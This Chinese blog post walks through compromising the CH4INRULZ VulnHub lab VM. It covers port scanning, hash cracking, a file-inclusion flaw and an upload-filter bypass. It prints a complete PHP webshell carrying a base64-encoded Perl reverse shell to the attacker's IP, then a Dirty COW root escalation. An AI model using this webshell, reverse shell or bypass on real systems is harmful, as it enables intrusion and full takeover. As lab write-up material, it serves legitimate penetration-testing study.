最新文章见我个人博客:点此

靶机环境下载地址:[下载]
ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247/)
好久没有来做内网渗透了,碰巧遇到一个新鲜点的靶场,就来试一下。

kali:192.168.0.100
靶机: 192.168.0.101
先扫一下端口

nmap -sS -A -p- 192.168.0.101

开启了ftp,ssh,http服务,打开他的网址上去一看,是一个未完成的个人博客。在他的网站上并没有找到什么线索,url也没有什么奇特的地方,下面用破壳或者dirsearch扫一下他的目录。

发现一个需要登录的子页面development和index.html.bak网页备份文件。其他均缺少有效信息。

查看首页备份文件发现里面竟然有一串hash,把他保存到pass.txt用john破解一下

john pass.txt > res.log

如果res.log中不显示结果,加上–show参数即可

得到密码-- frank!!!
这个密码正好可以登录development中的东西,(frank, frank!!!)。登录进去根据提示进入uploader子目录,是一个文件上传,因为它做了50%的过滤规则,因此我们看看是否存在文件包含漏洞。

想起前面还扫到了一个8011端口的http服务,再扫一下这个的目录,只扫出来了一个api的子页面

经过试验只有files_api.php可以访问。

根据他写的这句话,应该是有文件包含,而且是file传参
先尝试下GET传参,

?file=/etc/passwd

提示WRONG INPUT!
尝试POST传参,可以查看了,并发现确实有一个用户名为frank。但无法进一步查看shadow,或许是权限比较低。
至少证明确实是存在文件包含
当然我们可以利用伪协议查看它的过滤规则

?file=php://filter/convert.base64-encode/resource=files_api.php

到此基本思路已经明了,通过文件上传漏洞上传一句话木马,利用文件包含进行反弹shell或尝试蚁剑连接。
修改文件后缀为jpg,MIME修改为image/jpeg,添加文件头GIF98即可轻松绕过(注意下列代码需要修改ip和port)

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "19.168.0.100"; # 修改为你的攻击机的ip
$yourport = '7890'; # 修改为攻击机的监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

上传成功后提示我们在我们自己的路径下,访问uploader下的FRANKuploads确实有我们刚刚上传的shell.jpg

接着kali里nc监听

nc -lvp 7890

利用文件包含以php访问这个shell.jpg,kali中发现上线。使用python建立虚拟终端

uname -a 看一下系统内核,是2.6,直接脏牛提权。

searchsploit Dirty

其中40838似乎不太好用(?),总之不行就换一个试试呗,我这里用的是40839

cp /usr/share/exploitdb/exploits/linux/local/40839.c /root/crack.c

需要将这个c文件传输到靶机上,可以通过python开启一个建议的http服务,利用wget将其下载下来(因为权限问题似乎只能下在tmp文件夹)。

# 攻击机:
cd /root
python -m SimpleHTTPServer 80 # 目标靶机:
cd /tmp
wget http://192.168.0.100/crack.c
gcc -pthread crack.c -o crack -lcrypt
./crack

让我们输入新建用户的密码,随便输个123,然后就成功创建了一个叫做firefart的用户

断开nc重新连接一下就可以直接su到firefart了。

firefart其实就已经是root了,直接查看root目录下的root.txt拿到这道题唯一的flag,整个渗透过程完毕。

靶场渗透CH4INRULZ_v1.0.1的更多相关文章

  1. vulnhub靶场之AI-WEB1.0渗透记录

    在本机电脑上自行搭建了一个练手的靶场,下面是记录渗透过程 目录 一.确认靶机ip 二.端口&目录扫描 三.查看敏感目录 四.sql注入 五.get shell 六.系统提权 确认靶机ip ka ...

  2. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  3. webug3.0靶场渗透基础Day_1

    第一关: 最简单的get注入 单引号报错 http://192.168.129.136/pentest/test/sqli/sqltamp.php?gid=1' order by 5 --+     ...

  4. webug3.0靶场渗透基础Day_2(完)

    第八关: 管理员每天晚上十点上线 这题我没看懂什么意思,网上搜索到就是用bp生成一个poc让管理员点击,最简单的CSRF,这里就不多讲了,网上的教程很多. 第九关: 能不能从我到百度那边去? 构造下面 ...

  5. VulnHub靶场渗透之:Gigachad

    环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...

  6. Vulnhub靶场渗透练习(三) bulldog

    拿到靶场后先对ip进行扫描 获取ip  和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...

  7. Vulnhub靶场渗透练习(二) Billu_b0x

    运行虚拟机直接上nmap扫描 获取靶场ip nmap 192.168.18.* 开放端口 TCP 22 SSH OpenSSH 5.9p1 TCP 80 HTTP Apache httpd 2.2.2 ...

  8. 靶机CH4INRULZ_v1.0.1

    nmap开路. root@kali:~# nmap -sP 192.168.1.* //拿到靶机地址192.168.1.8 root@kali:~# nmap -p- -sS -v -sV 192.1 ...

  9. Vulnhub靶场渗透练习(五) Lazysysadmin

    第一步扫描ip    nmap 192.168.18.*  获取ip 192.168.18.147 扫描端口 root@kali:~# masscan - --rate= Starting massc ...

随机推荐

  1. BUUCTF-[CISCN2019 华东北赛区]Web2

    BUUCTF-[CISCN2019 华东北赛区]Web2 看题 一个论坛,内容不错:) 可以投稿,点击投稿发现要注册,那就先注册登录.随便账号密码就行. 常规操作,扫一下站点,发现有admin.php ...

  2. Aggressor Script 开发-Powershell 免杀

    转载https://www.jianshu.com/p/f158a9d6bdcf 前言 在接触到Cobalt Strike的时候就知道有各种插件,想象着那天也可以自己学习编写一个.在之前分析Cobal ...

  3. 大厂的 SDK 写法,偷学到了!

    自己动手写 SDK 的经验技巧分享 大家好,我是鱼皮. 最近因为工作需要,自己动手写了一些项目的通用 SDK.在编写的过程中,我阅读和参考了不少公司中其他大佬写的 SDK,也总结了一些开发 SDK 的 ...

  4. 【数据库上】 第四讲 E-R模型基础知识

    第四讲 E-R模型基础知识 一.数据库设计过程 数据库设计的关键阶段? 各个阶段设计的主要任务? 基础条件:清楚一个应用系统的功能需求与数据需求(直接与用户交互.数据流程图示例/UML类图等) 核心阶 ...

  5. git跟踪忽略规则文件.gitignore

    在使用Git的过程中,我们希望有的文件比如临时文件,编译的中间文件等不要被跟踪,也不需要提交到代码仓库,这时就要设置相应的忽略规则,来忽略这些文件的提交. 配置语法 以斜杠"/"开 ...

  6. 不写注释的程序员-Models

    Models 不写注释的程序员-Models # This is an auto-generated Django model module. # You'll have to do the foll ...

  7. 只需3步,快来用AI预测你爱的球队下一场能赢吗?

    摘要:作为球迷,我们有时候希望自己拥有预测未来的能力. 本文分享自华为云社区<用 AI 预测球赛结果只需三步,看看你爱的球队下一场能赢吗?>,作者:HWCloudAI. 还记得今年夏天的欧 ...

  8. 远程线程注入DLL突破session 0 隔离

    远程线程注入DLL突破session 0 隔离 0x00 前言 补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL. 0x01 介绍 通过CreateRemoteTh ...

  9. 内部类访问外部类成员变量,使用外部类名.this.成员变量

    public class Outer { private int age = 12; class Inner { private int age = 13; public void print() { ...

  10. 在PHP中使用SPL库中的对象方法进行XML与数组的转换

    虽说现在很多的服务提供商都会提供 JSON 接口供我们使用,但是,还是有不少的服务依然必须使用 XML 作为接口格式,这就需要我们来对 XML 格式的数据进行解析转换.而 PHP 中并没有像 json ...